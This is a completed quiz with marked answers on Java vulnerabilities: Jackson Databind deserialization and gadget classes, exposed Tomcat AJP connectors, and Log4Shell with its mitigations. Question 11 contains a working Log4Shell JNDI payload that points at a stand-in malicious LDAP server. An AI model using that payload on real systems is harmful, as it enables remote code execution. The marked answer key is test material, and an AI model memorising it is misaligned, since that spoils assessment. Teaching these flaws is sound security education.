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Complete

Mark 1.00 out of 1.00

How can an attacker exploit the Jackson Databind vulnerability?

- ☐ a. By passing a URL that bypasses authentication checks
- ☐ b. By injecting SQL queries into the serialized JSON
- ☒ c. By sending a JSON payload containing dangerous `@type` metadata
- ☐ d. By exploiting weak encryption in the JSON keys

Question 2

Complete

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How can the risk associated with AJP be mitigated?

- ☐ a. Upgrading to the latest version of Java
- ☐ b. Using a different logging library
- ☐ c. Disabling HTTPS and using HTTP only
- ☒ d. Restricting AJP traffic to trusted hosts and setting a secret

Question 3

Complete

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What caused the Jackson Databind deserialization vulnerability?

- ☒ a. A flaw in the handling of polymorphic types
- ☐ b. The absence of any type handling logic
- ☐ c. Insufficient logging mechanisms
- ☐ d. The use of outdated cryptographic algorithms

Question 4

Complete

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What configuration change can help prevent Log4Shell attacks?

- ☐ a. Disabling log rotation in Log4j
- ☐ b. Using a firewall to block all incoming traffic
- ☒ c. Setting `log4j2.formatMsgNoLookups=true`
- ☐ d. Increasing the logging level to DEBUG

Question 5

Complete

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What is a gadget class in the context of deserialization vulnerabilities?

- ☐ a. A class that logs all serialization and deserialization events
- ☐ b. A class that implements only the `Serializable` interface without methods
- ☐ c. A utility class that simplifies JSON handling
- ☒ d. A class that can be exploited during deserialization to perform unintended actions

Question 6

Complete

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What is one major security risk of exposing an AJP connector to the internet?

- ☐ a. It causes encryption keys to be logged in plain text.
- ☐ b. It makes the application vulnerable to Cross-Site Scripting (XSS).
- ☐ c. It can allow attackers to perform DNS cache poisoning.
- ☒ d. It can lead to remote code execution through deserialization exploits.

Question 7

Complete

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What is the primary mitigation for the Jackson deserialization vulnerability?

- ☐ a. Using prepared statements for database queries
- ☒ b. Upgrading to a patched version of Jackson and whitelisting allowed types
- ☐ c. Switching to XML instead of JSON
- ☐ d. Disabling all JSON handling in the application

Question 8

Complete

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What made the Log4Shell vulnerability (CVE-2021-44228) possible?

- ☐ a. Improper token validation in Log4j
- ☒ b. A remote code execution flaw in the JNDI lookup feature
- ☐ c. Unpatched vulnerabilities in the LDAP server
- ☐ d. A lack of secure password storage in Log4j

Question 9

Complete

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What role does the AJP connector play in a Tomcat-based application?

- ☐ a. It acts as a database connection pool manager.
- ☐ b. It is responsible for TLS encryption of all HTTP requests.
- ☒ c. It serves as a bridge between a web server and Tomcat for request forwarding.
- ☐ d. It handles file uploads from the client.

Question 10

Complete

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What type of action might a gadget class perform when deserialized?

- ☐ a. Automatically compress large objects in memory
- ☐ b. Automatically hash all fields using SHA-256
- ☐ c. Send email alerts to the system administrator
- ☒ d. Write files or execute code without explicit calls from the application

Question 11

Complete

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Which input could trigger the Log4Shell vulnerability?

- ☐ a. `{ "username": "admin", "password": "password123" }`
- ☐ b. `GET /login HTTP/1.1``
- ☐ c. `<script>alert('XSS')</script>``
- ☒ d. `${jndi:ldap://malicious-server.com/a}``

Question 12

Complete

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Why are gadget classes often found in common libraries?

- ☐ a. Common libraries are more likely to be open source and freely available.
- ☐ b. Common libraries are more frequently updated and include additional features.
- ☐ c. Common libraries are written in older programming languages.
- ☒ d. Common libraries often include reusable classes with methods that may be automatically invoked during deserialization.